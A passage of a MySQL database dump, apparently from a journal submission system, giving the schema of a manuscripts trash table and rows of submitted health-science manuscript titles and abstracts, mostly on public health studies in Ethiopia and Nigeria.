procedures, including administering medications and taking blood. However, catheters can sometimes lead to complications and infections that can significantly affect a patient\'s overall health and recovery.\r\nObjective. The purpose of this article is to investigate the common catheter-related infections in bone marrow transplant patients at Bagai 2 Ahvaz Hospital. This study seeks to increase our understanding of catheter-related issues and improve patient outcomes in the field of bone marrow transplantation by examining diagnostic methods, treatment strategies, and preventive measures.\r\nMaterial and Methods. This research is retrospective, the study population includes all patients who had a bone marrow transplant in the period of 2021-2022 and were hospitalized in Beqai 2 Hospital. By referring to the microbiology department of Bagai 2 Hospital, the result of the catheter culture of all patients who received bone marrow transplants and the isolation of bacteria according to standard microbiological culture (cultivation in BA medium and nutrient agar medium, (Cetrimide agar base)) It was completed in the checklist created by the researcher. Finally, the data was analyzed using SPSS software and the rate of catheter infection and other factors related to it were analyzed using Chi-square statistical test.\r\nFindings. In the period of 2021-2022, the number of transplanted patients (children/adults) was 138. The age range of the patients was from 4 to 69 years. The Average hospitalization during two years was equal to 23.04. Hodgkin\'s patients were 23.08%, AML and neuroblastoma were 15.38%, multiple myeloma was equal (23.08%), ALL and PCSNSL and thalassemia major were 7.7% each. The prevalence of positive cultures in 2021, was zero and in 2022, it was 8.30% (38.47-0.002%) which was seen in a 52-year-old patient with diabetes.\r\nConclusion. Underlying diseases such as diabetes in patients who receive bone marrow transplants can play an important role in catheter infections.','Human, bone marrow transplants, catheters, Risk factor',3944,NULL,'2024-05-29',NULL,'Submitted',5,NULL,NULL,NULL,1,0,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0);
/*!40000 ALTER TABLE `manuscripts` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `manuscripts_trash`
--

DROP TABLE IF EXISTS `manuscripts_trash`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!50503 SET character_set_client = utf8mb4 */;
CREATE TABLE `manuscripts_trash` (
  `m_id` int NOT NULL,
  `a_id` int NOT NULL,
  `j_id` int NOT NULL,
  `jc_id` int DEFAULT '0',
  `m_number` varchar(50) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `m_title` text CHARACTER SET latin1 COLLATE latin1_general_ci,
  `m_article_type` varchar(20) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `articletype_id` int DEFAULT NULL,
  `issue_type` tinyint(1) NOT NULL DEFAULT '0',
  `si_title` varchar(220) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `m_abstract` longtext CHARACTER SET latin1 COLLATE latin1_general_ci,
  `m_keywords` text CHARACTER SET latin1 COLLATE latin1_general_ci,
  `m_classification` int DEFAULT NULL,
  `m_topics` text CHARACTER SET latin1 COLLATE latin1_general_ci,
  `m_date` date NOT NULL,
  `old_m_date` date DEFAULT NULL,
  `m_status` varchar(25) CHARACTER SET latin1 COLLATE latin1_general_ci NOT NULL DEFAULT 'Submitted',
  `ms_id` int DEFAULT '5',
  `m_days` int DEFAULT NULL,
  `m_status_date` date DEFAULT NULL,
  `m_editor_feedback` text CHARACTER SET latin1 COLLATE latin1_general_ci,
  `m_active` int NOT NULL DEFAULT '1',
  `m_assigned_status` int NOT NULL DEFAULT '0',
  `m_view` varchar(6) CHARACTER SET latin1 COLLATE latin1_general_ci NOT NULL DEFAULT '1',
  `editor_feedback` text CHARACTER SET latin1 COLLATE latin1_general_ci,
  `rec_type` tinyint NOT NULL DEFAULT '0',
  `conf_id` varchar(10) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `pc_email` varchar(80) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `fup_stat` tinyint(1) DEFAULT NULL,
  `publish_stat` tinyint(1) NOT NULL DEFAULT '0',
  `rp_fup_stat` tinyint(1) NOT NULL DEFAULT '0',
  `change_rp` tinyint(1) NOT NULL DEFAULT '0',
  `author_sct` varchar(50) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `rej_date` date DEFAULT NULL,
  `rej_type_id` int NOT NULL,
  KEY `FK_manuscripts_trash` (`a_id`),
  KEY `index_fup_stat` (`fup_stat`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `manuscripts_trash`
--

LOCK TABLES `manuscripts_trash` WRITE;
/*!40000 ALTER TABLE `manuscripts_trash` DISABLE KEYS */;
INSERT INTO `manuscripts_trash` VALUES (765,891,45,0,'','Acceptability of Partner Notification Services Among HIV Positive MSM Accessing Care in Health Facilities in Lagos','',14,0,NULL,'Introduction\r\nPartner Notification Services (PNS) are part of the spectrum of care for HIV-positive individuals and their sexual partners, although it is voluntary, it must be acceptable to identify undiagnosed populations at high risk of HIV infection particularly men who have sex with men (MSM) who fear accessing HIV services due to stigma, discrimination and criminalization.  This study was done to assess the acceptability of PNS amongst HIV Positive MSM accessing care in Lagos.\r\n\r\nMethodology\r\nA facility based descriptive cross-sectional study using an interviewer administered questionnaire was conducted on 318 HIV positive MSM recruited via snowball sampling technique over a period of nine weeks. Analysis was done using SPSS version 23. Chi Square was used for association between variables and level of significant was set at p<0.05.\r\n\r\nResults\r\nOnly half of the respondents have ever heard about PNS out of which 91.6% were offered and a little above average were enrolled into PNS. Major reason for PNS acceptance was for the prevention of partner from being infected while major reason for PNS decline was fear of rejection by partner. Most preferred method was the use of social media closed groups/chatrooms led by a health care provider. No statistically significant association (p<0.05) was found between age(p=0.77), employment status(p=0.96), time initiated into treatment(p=0.44) and enrolment into PNS. There was a statistically significant association between level of education(p=0.04), medium of notification (Patient led: p=0.001 &. Provider-led: p=0.037) and enrolment into PNS.\r\n\r\nConclusion\r\nThis study showed that PNS information is yet to reach all respondents, about one-third of the study sample have enrolled. Concerns regarding personal, partner relationship and quality of health service delivery contribute to the acceptance and rejection of PNS. Provider-led social media closed groups/chat rooms was preferred over other approaches. A mix of approaches should be offered as PNS options to achieve an optimal HIV testing uptake amongst MSM.\r\n',' HIV, Partner Notification Services, men who have sex with men (MSM)',388,'','2019-07-31',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,NULL,NULL,NULL,0,0,0,NULL,NULL,0),(451,523,45,0,'','Assessment of patient satisfaction with antiretroviral therapy services in Mizan-Tepi University Teaching Hospital, South West Ethiopia: cross sectional study','',14,0,NULL,'Background: WHO and UNAIDS estimated that 36.9 million people were living with HIV in 2017 globally. That same year, 1.8 million people became newly infected with HIV/ AIDS and 940, 000 people died from AIDS-related illnesses.\r\nObjectives: To assess the satisfaction of people living with HIV/AIDS with services given at anti-retroviral therapy (ART) clinic of Mizan-Tepi University Teaching Hospital.\r\nMethods: A cross-sectional study was conducted at Mizan Tepi University Teaching Hospital ART clinic on 356 people living with HIV/AIDS who were on Highly Active Anti-Retroviral Therapy (HAART). The study was undertaken from December 2018 –January 2019. Systematic random sampling technique was applied in selecting the study participants. Face to face interview was employed using structured questionnaires. Data were entered to epi-data manager version 4.0.2.101 and analyzed using SPSS version 23. Binary logistic regression was applied to identify the independent predictors of patient satisfaction with the services given.\r\nResult: The overall level of clients’ satisfaction on HAART at Mizan Tepi University Teaching Hospital was 55.2%. In multivariable logistic regression analysis, educational status of secondary school and above [AOR 2.41, 95% CI: 1.24-4.69], duration of advice above 10 minute [AOR 1.74, 95% CI: 1.09-2.79], CD4 count above 500 [AOR 2.20, 95% CI: 1.37-3.54] and duration of treatment [AOR 1.93, 95% CI: 1.07-3.49] were found to be significantly associated with client satisfaction. \r\nConclusion: Overall, more than half of patients were satisfied with the ART services given at Mizan-Tepi University Teaching Hospital’s ART clinic. Educational status, CD4 count, duration of advice and duration of treatment were found to be the independent predictors of patient satisfaction. Increasing client satisfaction is important through patient education especially for new ART users and low educational level. \r\n',' Antiretroviral therapy services, client satisfaction, Mizan-Tepi University Teaching Hospital',388,'','2019-07-19',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,NULL,NULL,NULL,0,0,0,NULL,NULL,0),(1130,1359,45,0,'','Assessment on Mother’s Knowledge, Attitude and Practice Towards Under five years old Children Oral Health among Mothers Visiting Federal Defense Force “Torhayiloch” Hospital Maternal and Child Health Care Clinic, Addis Ababa, Ethiopia.','',14,0,NULL,'Abstract\r\nBackground: Oral health is defined by the World Health Organization as “a state of being free from any pain originated from mouth and face, oral and throat cancer, oral infection and sores, periodontal disease, tooth decay, tooth loss, and other diseases and disorders that limit an individual’s capacity in biting, chewing, smiling, speaking, and psychosocial wellbeing” \r\nObjective: To assess mother\'s knowledge, attitude and practice regarding children’s oral health among mothers; who has children below the age of five years, attending maternal, and child health care of the study hospital.\r\nMethods: Institutional based descriptive cross-sectional study was conducted among a sample of 287 mothers. Interview method was used to collect data. Study subjects were selected by none probability purposive sampling method. Data was analyzed by using SPSS version 23 through descriptive statistics \r\nResult: About 71.3% of mothers found to have optimum level of knowledge on Childhood Oral Health. There were misconceptions regarding regular utilization of tooth pastes, about 65.5% of mothers believed that use of tooth pastes could cause bad breath and gum bleeding while this proportion was found to be lower among mothers with higher level of education 47.4%, 30.7% respectively. Regular child oral health practice was good among mothers who attend higher education.\r\nConclusion: The awareness of oral health existed among study participants has huge variation. Awareness of mothers is more likely to be higher when they are thought by dentist. Misconceptions regarding tooth paste use were lower among mothers with higher educational levels.\r\n',' Key Word: Oral health, Childhood, Awareness of mother, Under five children, Misconception, Ethiopian army hospital\r\n',693,'','2019-08-12',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,NULL,NULL,NULL,0,0,0,NULL,NULL,0),(1671,2071,45,0,'','Investigative study of organochlorine pesticide residues in maize grains, dried cassava chips and agricultural soil from Erinfun farm Ado-Ekiti, Southwestern Nigeria','',2,0,NULL,'The use of agrochemicals in agriculture by farmers with little understanding of human and environmental dangers that can be cause by the abuse and improper handling has been of concern by human and environmental health agencies over the years. However, activities of pests and diseases render crop unattractive, causing general decrease in productivity and hence loss to farmers have being of serious concerns. This study investigated, using the gas chromatography, the organochlorine levels in cassava, maize and soil of the Erinfun farm settlement in Ado-Ekiti, Nigeria.  Organochlorine compounds detected at varied concentrations included Aldrin and Heptachlor occurring most frequently with highest concentrations of 9.301 mg/kg and 0.168 mg/kg respectively. Other organochlorine compounds detected were Endosulfan and o,p-DDT. The organochlorine pesticides contents in mg kg-1 determined in the farmland soil correlate significantly with the organic matter contents in the farmland soil.  The findings from this study thus, provided information on the environmental risk level in the farmland soil and crop plants with which performance on the use of pesticides could be progressively monitored.',' Organochlorine, Concentration, Contamination, Maize, Cassava, Soil',2068,'','2019-08-26',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,NULL,NULL,NULL,0,0,0,NULL,NULL,0),(1094,1260,45,0,'','Mothers Levels Satisfaction and Associated Factors with Antenatal Care Services Provided at Higher Two Health Center, Jimma Town, and Oromia Region, Southwest Ethiopia','',14,0,NULL,'Background: Client satisfaction is important for the more enhancement of the quality of antenatal care and to deliver uniform health care facilities for pregnant women. Nevertheless, studies on the level of client satisfaction with antenatal care and associated factors are missing.\r\nObjective: Assessment of mothers’ levels satisfaction and associated factors with ANC services provided at higher two health center, Jimma town, Oromia region, south west Ethiopia.\r\nMethods: A cross-sectional study was conducted from January 01-18/ 2016 at Higher Two Health center. The systematic random sampling technique was applied to select 223 respondents among mothers attending antenatal follow up using p-value 80.1% with a confidence level of 95% and 5% marginal error.  During data collection period data were collected by trained three 4th year Nursing students using pre-tested and structured questionnaires. The couched data was manually cleaned, analyzed and presented in the table, figure, graph, and chi-square was applied to determine difference and association between some variables.\r\nResult: More than half of the respondents (64.6%) were satisfied with the service that they received. As to specific components, most of the respondents (82.5%) were satisfied with inexpensive lab test/free and (69.1%) were satisfied with receiving recommended medication. In the meantime, (56.9%) of the respondents were not satisfied with the long waiting time and (45.3%) were not satisfied with congestion in the clinic during morning time. The socio-demographic variables such as ethnicity, occupation, educational status, religion, and family monthly income of the mother and client know about the importance of antenatal care (ANC) were significantly associated with satisfaction with antenatal care services.\r\nConclusion and Recommendation: -However, a large percentages of women (64.6%) were satisfied with the antenatal care services, the level of satisfaction was lower in relation to other studies. Satisfaction from the ANC service in the health center is low. Therefore, health providers and woreda health office should stress on better client’s satisfaction through available antenatal care services to all women of reproductive age, who require such services at an affordable rate and within 5km of their place of residence and reduced clients waiting time as much as possible, in line with the strategies of the WHO-formulated focused antenatal care model.','Keywords: Antenatal care, mothers, level of Satisfaction, Jimma, Ethiopia.',456,'','2019-08-10',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,NULL,NULL,NULL,0,0,0,NULL,NULL,0),(691,803,86,0,'','Overlap of toxic epidermal necrolysis and systemic lupus erythematosus - a case report','',2,0,NULL,'A 34-year-old lady presented with generalized rash for the last three weeks and use of polypharmacy. The clinico-pathological correlation was most consistent with the diagnosis of toxic epidermal necrolysis. Labs were remarkable for thrombocytopenia, acute kidney injury, positive anti-nucleosome, anti dsDNA and anti histones antibodies. Our patient improved with conservative treatment and withdrawal of drugs. This case highlights a challenging clinical differential diagnosis of overlap between TEN and drug induced lupus erythematosus.',' oxic epidermal necrolysis, TEN, SLE, drug induced',409,'','2019-07-28',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,NULL,NULL,NULL,0,0,0,NULL,NULL,2),(1265,1538,45,0,'','Under-Five Child Health Service Quality And Its Determinants In Goncha Siso Enessie District, Northwest Ethiopia, 2017','',14,0,NULL,'Background: Quality of health service is measured based on structure, process and outcome elements and has multidimensional concept that has been defined in various ways. It is an important aspect of health service delivery system and must be given priority in most countries. \r\nMethods: A facility based cross sectional quantitative and qualitative study design was employed from January- May, 2017 on 396 guardians of under five children. The data were collected using structured exit interviews, facility assessment checklists and record reviews. Data was cleaned and entered into Microsoft office Access, EPI info and analyzed by Statistical Package for the Social Science. Binary and multivariate logistic regression was used to identify factors of guardians’ satisfaction and odds ratios, 95% CI and p-value was computed to measure the presence and strength of associations. \r\nResults: The study showed that health centers and health posts on average fulfilled 32.4% of the health human power need and 44.1% of major equipment requirement against the national standards. The average adherence of health professional with guidelines of pneumonia and diarrhea managements was 76% and 65.6% respectively. Malnutrition was inappropriately managed and alarming in all components which needs program interventions. The composite average satisfaction level of guardians was 54.3%. Adequacy of information given about child health service (OR=0.49, 95% CI, =0.27, 0.91), expectation about the health services (OR=0.46, 95% CI, = 0.23, 0.91), privacy given during treatments (OR=0.21, 95% CI, = 0.08, 0.54) and preference of health institutions were the predictor variables (OR=0.18, 95% CI, = 0.09, 0.35) for under five child health service satisfactions of guardians.   \r\nConclusions: The overall quality of health service was low compared to studies done at different areas on quality of health care. The health institutions were facing shortages of human power, material resources and low adherence with standard treatment guidelines especially on diarrhea and malnutrition managements. The responsible bodies of health sectors at different levels should take actions to improve institutional capacity and performance of care providers in order to improve quality of health services. There should also be continuous monitoring systems to health facilities focused on health care services to strengthen institutional capacity and performance of care providers\r\n',' Under-five child health service quality, Northwest, Ethiopia',643,'','2019-08-15',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,NULL,NULL,NULL,0,0,0,NULL,NULL,0),(765,891,45,0,'','Acceptability of Partner Notification Services Among HIV Positive MSM Accessing Care in Health Facilities in Lagos','',14,0,NULL,'Introduction\r\nPartner Notification Services (PNS) are part of the spectrum of care for HIV-positive individuals and their sexual partners, although it is voluntary, it must be acceptable to identify undiagnosed populations at high risk of HIV infection particularly men who have sex with men (MSM) who fear accessing HIV services due to stigma, discrimination and criminalization.  This study was done to assess the acceptability of PNS amongst HIV Positive MSM accessing care in Lagos.\r\n\r\nMethodology\r\nA facility based descriptive cross-sectional study using an interviewer administered questionnaire was conducted on 318 HIV positive MSM recruited via snowball sampling technique over a period of nine weeks. Analysis was done using SPSS version 23. Chi Square was used for association between variables and level of significant was set at p<0.05.\r\n\r\nResults\r\nOnly half of the respondents have ever heard about PNS out of which 91.6% were offered and a little above average were enrolled into PNS. Major reason for PNS acceptance was for the prevention of partner from being infected while major reason for PNS decline was fear of rejection by partner. Most preferred method was the use of social media closed groups/chatrooms led by a health care provider. No statistically significant association (p<0.05) was found between age(p=0.77), employment status(p=0.96), time initiated into treatment(p=0.44) and enrolment into PNS. There was a statistically significant association between level of education(p=0.04), medium of notification (Patient led: p=0.001 &. Provider-led: p=0.037) and enrolment into PNS.\r\n\r\nConclusion\r\nThis study showed that PNS information is yet to reach all respondents, about one-third of the study sample have enrolled. Concerns regarding personal, partner relationship and quality of health service delivery contribute to the acceptance and rejection of PNS. Provider-led social media closed groups/chat rooms was preferred over other approaches. A mix of approaches should be offered as PNS options to achieve an optimal HIV testing uptake amongst MSM.\r\n',' HIV, Partner Notification Services, men who have sex with men (MSM)',388,'','2019-07-31',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,NULL,NULL,NULL,0,0,0,NULL,NULL,0),(451,523,45,0,'','Assessment of patient satisfaction with antiretroviral therapy services in Mizan-Tepi University Teaching Hospital, South West Ethiopia: cross sectional study','',14,0,NULL,'Background: WHO and UNAIDS estimated that 36.9 million people were living with HIV in 2017 globally. That same year, 1.8 million people became newly infected with HIV/ AIDS and 940, 000 people died from AIDS-related illnesses.\r\nObjectives: To assess the satisfaction of people living with HIV/AIDS with services given at anti-retroviral therapy (ART) clinic of Mizan-Tepi University Teaching Hospital.\r\nMethods: A cross-sectional study was conducted at Mizan Tepi University Teaching Hospital ART clinic on 356 people living with HIV/AIDS who were on Highly Active Anti-Retroviral Therapy (HAART). The study was undertaken from December 2018 –January 2019. Systematic random sampling technique was applied in selecting the study participants. Face to face interview was employed using structured questionnaires. Data were entered to epi-data manager version 4.0.2.101 and analyzed using SPSS version 23. Binary logistic regression was applied to identify the independent predictors of patient satisfaction with the services given.\r\nResult: The overall level of clients’ satisfaction on HAART at Mizan Tepi University Teaching Hospital was 55.2%. In multivariable logistic regression analysis, educational status of secondary school and above [AOR 2.41, 95% CI: 1.24-4.69], duration of advice above 10 minute [AOR 1.74, 95% CI: 1.09-2.79], CD4 count above 500 [AOR 2.20, 95% CI: 1.37-3.54] and duration of treatment [AOR 1.93, 95% CI: 1.07-3.49] were found to be significantly associated with client satisfaction. \r\nConclusion: Overall, more than half of patients were satisfied with the ART services given at Mizan-Tepi University Teaching Hospital’s ART clinic. Educational status, CD4 count, duration of advice and duration of treatment were found to be the independent predictors of patient satisfaction. Increasing client satisfaction is important through patient education especially for new ART users and low educational level. \r\n',' Antiretroviral therapy services, client satisfaction, Mizan-Tepi University Teaching Hospital',388,'','2019-07-19',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,NULL,NULL,NULL,0,0,0,NULL,NULL,0),(1130,1359,45,0,'','Assessment on Mother’s Knowledge, Attitude and Practice Towards Under five years old Children Oral Health among Mothers Visiting Federal Defense Force “Torhayiloch” Hospital Maternal and Child Health Care Clinic, Addis Ababa, Ethiopia.','',14,0,NULL,'Abstract\r\nBackground: Oral health is defined by the World Health Organization as “a state of being free from any pain originated from mouth and face, oral and throat cancer, oral infection and sores, periodontal disease, tooth decay, tooth loss, and other diseases and disorders that limit an individual’s capacity in biting, chewing, smiling, speaking, and psychosocial wellbeing” \r\nObjective: To assess mother\'s knowledge, attitude and practice regarding children’s oral health among mothers; who has children below the age of five years, attending maternal, and child health care of the study hospital.\r\nMethods: Institutional based descriptive cross-sectional study was conducted among a sample of 287 mothers. Interview method was used to collect data. Study subjects were selected by none probability purposive sampling method. Data was analyzed by using SPSS version 23 through descriptive statistics \r\nResult: About 71.3% of mothers found to have optimum level of knowledge on Childhood Oral Health. There were misconceptions regarding regular utilization of tooth pastes, about 65.5% of mothers believed that use of tooth pastes could cause bad breath and gum bleeding while this proportion was found to be lower among mothers with higher level of education 47.4%, 30.7% respectively. Regular child oral health practice was good among mothers who attend higher education.\r\nConclusion: The awareness of oral health existed among study participants has huge variation. Awareness of mothers is more likely to be higher when they are thought by dentist. Misconceptions regarding tooth paste use were lower among mothers with higher educational levels.\r\n',' Key Word: Oral health, Childhood, Awareness of mother, Under five children, Misconception, Ethiopian army hospital\r\n',693,'','2019-08-12',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,NULL,NULL,NULL,0,0,0,NULL,NULL,0),(1671,2071,45,0,'','Investigative study of organochlorine pesticide residues in maize grains, dried cassava chips and agricultural soil from Erinfun farm Ado-Ekiti, Southwestern Nigeria','',2,0,NULL,'The use of agrochemicals in agriculture by farmers with little understanding of human and environmental dangers that can be cause by the abuse and improper handling has been of concern by human and environmental health agencies over the years. However, activities of pests and diseases render crop unattractive, causing general decrease in productivity and hence loss to farmers have being of serious concerns. This study investigated, using the gas chromatography, the organochlorine levels in cassava, maize and soil of the Erinfun farm settlement in Ado-Ekiti, Nigeria.  Organochlorine compounds detected at varied concentrations included Aldrin and Heptachlor occurring most frequently with highest concentrations of 9.301 mg/kg and 0.168 mg/kg respectively. Other organochlorine compounds detected were Endosulfan and o,p-DDT. The organochlorine pesticides contents in mg kg-1 determined in the farmland soil correlate significantly with the organic matter contents in the farmland soil.  The findings from this study thus, provided information on the environmental risk level in the farmland soil and crop plants with which performance on the use of pesticides could be progressively monitored.',' Organochlorine, Concentration, Contamination, Maize, Cassava, Soil',2068,'','2019-08-26',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,NULL,NULL,NULL,0,0,0,NULL,NULL,0),(1094,1260,45,0,'','Mothers Levels Satisfaction and Associated Factors with Antenatal Care Services Provided at Higher Two Health Center, Jimma Town, and Oromia Region, Southwest Ethiopia','',14,0,NULL,'Background: Client satisfaction is important for the more enhancement of the quality of antenatal care and to deliver uniform health care facilities for pregnant women. Nevertheless, studies on the level of client satisfaction with antenatal care and associated factors are missing.\r\nObjective: Assessment of mothers’ levels satisfaction and associated factors with ANC services provided at higher two health center, Jimma town, Oromia region, south west Ethiopia.\r\nMethods: A cross-sectional study was conducted from January 01-18/ 2016 at Higher Two Health center. The systematic random sampling technique was applied to select 223 respondents among mothers attending antenatal follow up using p-value 80.1% with a confidence level of 95% and 5% marginal error.  During data collection period data were collected by trained three 4th year Nursing students using pre-tested and structured questionnaires. The couched data was manually cleaned, analyzed and presented in the table, figure, graph, and chi-square was applied to determine difference and association between some variables.\r\nResult: More than half of the respondents (64.6%) were satisfied with the service that they received. As to specific components, most of the respondents (82.5%) were satisfied with inexpensive lab test/free and (69.1%) were satisfied with receiving recommended medication. In the meantime, (56.9%) of the respondents were not satisfied with the long waiting time and (45.3%) were not satisfied with congestion in the clinic during morning time. The socio-demographic variables such as ethnicity, occupation, educational status, religion, and family monthly income of the mother and client know about the importance of antenatal care (ANC) were significantly associated with satisfaction with antenatal care services.\r\nConclusion and Recommendation: -However, a large percentages of women (64.6%) were satisfied with the antenatal care services, the level of satisfaction was lower in relation to other studies. Satisfaction from the ANC service in the health center is low. Therefore, health providers and woreda health office should stress on better client’s satisfaction through available antenatal care services to all women of reproductive age, who require such services at an affordable rate and within 5km of their place of residence and reduced clients waiting time as much as possible, in line with the strategies of the WHO-formulated focused antenatal care model.','Keywords: Antenatal care, mothers, level of Satisfaction, Jimma, Ethiopia.',456,'','2019-08-10',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,NULL,NULL,NULL,0,0,0,NULL,NULL,0),(691,803,86,0,'','Overlap of toxic epidermal necrolysis and systemic lupus erythematosus - a case report','',2,0,NULL,'A 34-year-old lady presented with generalized rash for the last three weeks and use of polypharmacy. The clinico-pathological correlation was most consistent with the diagnosis of toxic epidermal necrolysis. Labs were remarkable for thrombocytopenia, acute kidney injury, positive anti-nucleosome, anti dsDNA and anti histones antibodies. Our patient improved with conservative treatment and withdrawal of drugs. This case highlights a challenging clinical differential diagnosis of overlap between TEN and drug induced lupus erythematosus.',' oxic epidermal necrolysis, TEN, SLE, drug induced',409,'','2019-07-28',NULL,'Submitted',5,0,'0000-00-00','',1,0,'0','',0,NULL,NULL,NULL,0,0,0,NULL,NULL,2),(1265,1538,45,0,'','Under-Five Child Health Service Quality And Its Determinants In Goncha Siso Enessie District, Northwest Ethiopia, 2017','',14,0,NULL,'Background: Quality of health service is measured based on structure, process and outcome elements and has multidimensional concept that has been defined in various ways. It is an important aspect of health service delivery system and must be given priority in most countries. \r\nMethods: A facility based cross sectional quantitative and qualitative study design was employed from January- May, 2017 on 396 guardians of under five children. The data were collected using structured exit interviews, facility assessment checklists and record reviews. Data was cleaned and entered into Microsoft office Access, EPI info and analyzed by Statistical Package for the Social Science. Binary and multivariate logistic regression was used to identify factors of guardians’ satisfaction and odds ratios, 95% CI and p-value was computed to measure the presence and strength of associations. \r\nResults: The study showed that health centers and health posts on average fulfilled 32.4% of the health human power need and 44.1% of major equipment requirement against the national standards. The average adherence of health professional with guidelines of pneumonia and diarrhea managements was 76% and 65.6% respectively. Malnutrition was inappropriately managed and alarming in all components which needs program interventions. The composite average satisfaction level of guardians was 54.3%. Adequacy of information given about child health service (OR=0.49, 95% CI, =0.27, 0.91), expectation about the health services (OR=0.46, 95% CI, = 0.23, 0.91), privacy given during treatments (OR=0.21, 95% CI, = 0.08, 0.54) and preference of health institutions were the predictor variables (OR=0.18, 95% CI, = 0.09, 0.35) for under five child health service satisfactions of guardians.   \r\nConclusions: The overall quality of health service was low compared to studies done at different areas on quality of health care. The health institutions were facing shortages of human power, material resources and low adherence with standard treatment guidelines especially on diarrhea and malnutrition managements. The responsible bodies of health sectors at different levels should take actions to improve institutional capacity and performance of care providers in order to improve quality of health services. There should also be continuous monitoring systems to health facilities focused on health care services to strengthen institutional capacity and performance of care providers\r\n',' Under-five child health service quality, Northwest, Ethiopia',643,'','2019-08-15',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,NULL,NULL,NULL,0,0,0,NULL,NULL,0),(1201,1459,91,0,'','INVITRO ANTI-INFLAMMATORY ACTIVITY OF AQUEOUS EXTRACT PITHECELLOBIUM DULCE','',14,3,NULL,'Aqueous extract of whole plant of PithecellobiumDulce(Family: fabacia) was assessed for its anti-inflammatory activity by invitro methods. Invitro anti-inflammatory activity was evaluated using eggalbumin denaturation assay, at 1mM concentrations. Diclofenac sodium, used as standard drugs. The results showed Pithecellobium dulce at Leaf, fruit significantly (p0.05) activity.',' Pithecellobium dulce, anti-inflammatory',1325,'','2019-08-14',NULL,'Submitted',19,0,'0000-00-00','',1,0,'0','',0,NULL,NULL,4,0,0,0,NULL,'2019-08-28',1),(1791,2230,91,0,'','Microwave chemistry and Green Chemistry are complementary Pedagogies:A review','',6,0,NULL,'Our environment, which is endowed by nature, needs to be protected from ever increasing chemical.97 The challenge for the institution and industries is to come together and pursue development in the field of greener chemistry by reducing or eliminating the use and generation of hazardous substances. Green chemistry would like to increase the efficiency of synthetic methods, to solvents, reduce the stages of the synthetic routes and minimize waste as far as practically possible. In this way synthesis will be part of the effort for sustainable development. On the other hand microwave assisted synthesis provides clean synthesis with the advantage of enhanced reaction rates.',' Microwave, Green Chemistry, Microwave assisted reaction.',2193,'','2019-08-28',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,NULL,NULL,3,0,0,0,NULL,'2019-09-03',1),(1990,2511,45,0,'','Reproductive Health Needs and Service Utilization by Youths in Dilfana Kebele, Arbaminch Town, Gamo Gofa Zone, Ethiopia.','',14,0,NULL,'Abstract\r\nBackground: Despite the growing health needs of adolescents due to intrinsic and extrinsic factors, health services in developing countries are not prepared to provide appropriate care due to inadequate awareness of adolescent health needs.\r\nOBJECTIVE:  To assess reproductive health needs and service utilization of youths in Dilfana Kebele, Arbaminch town, Gamo Gofa Zone, Ethiopia, 2017.  \r\nMETHODS: A cross sectional, descriptive study was carried out on a conveniently sampled 342 youths of Dilfana Kebele.Data was collected using pre-tested structured and semi structured questionnaire by five trained diploma Nurses recruited from Arbaminch Health Center. The collected data was analysed by  using SPSS and the test of for association was carried out using chi square test.\r\nResult: Totally 342 youth who were targeted for the study included in the study.  According to this study, Sexual and reproductive health needs and health service utilization of the respondent’s show that 51% were visited the health facility for sexual reproductive health service in the past one year. Marital status, sex and age were significantly associated with utilization of sexual and reproductive health services of youths (p 0.005).\r\nConclusion: There is high need of youth reproductive health services in the area and the SRH services provided by external organizations and projects should be integrated to the youth club and school clubs in the long run, for sustainability and ownership in the Dilfana kebele.\r\nKey words: reproductive health, Dilfana and Utilization\r\n\r\n\r\n\r\n\r\n\r\n',' Key words: reproductive health, Dilfana and Utilization',686,'','2019-09-01',NULL,'Submitted',5,0,'0000-00-00','',1,0,'1','',0,NULL,NULL,NULL,0,0,0,NULL,'2019-09-09',2),(2282,2975,45,0,'','Determinants and regional differentials on under-five mortality in Ethiopia using multilevel count Analysis','',14,0,NULL,'Background: Under five mortality is a leading indicator of child health and overall development. The under-five mortality rate is the probability of a child born in a specified year dying before reaching the age of five if subject to current age-specific mortality rates.\r\nThe objective of this study was to investigate and quantify the regional variation of under-five death per mother and explore the major risk factors of under-five child death (U5CD) taking into consideration various demographic, socio-economic and health and environmental factors. Material and Method: The study used the 2016 Ethiopian demographic and health survey data and analyzed responses of mothers on the number of deaths of children aged less than 60 months that they have experienced in their lifetime. Single and multilevel count model are used to explore the major risk factors and regional differentials in under-five mortality in Ethiopia. Result: results showed that nationally approximately 43% of mothers have lost at least one under-five child in their lifetime. This percent is almost similar in all regions except Addis Ababa (which is 15%). The study showed higher incidence rate of under-five deaths for Amhara, Dire Dawa and SNNP, while lower rates were estimated for Addis Ababa, Harari and Oromia. Conclusion: the relationship between under-five mortality and the explanatory variables toilet facility, birth order, place of delivery, marital status of mother, family size and sex of the house hold head were significant. The preliminary plot of estimated/predicted under five child death for all regions versus different predictors shows mortality varies between regions of Ethiopia. The multilevel analysis further showed that there are substantial under-five death variations per mother among regions in Ethiopia, and were significant (random intercept variance = 𝝈2𝒖𝟎= 0.313, P_ value =0.000).  \r\n\r\n',' 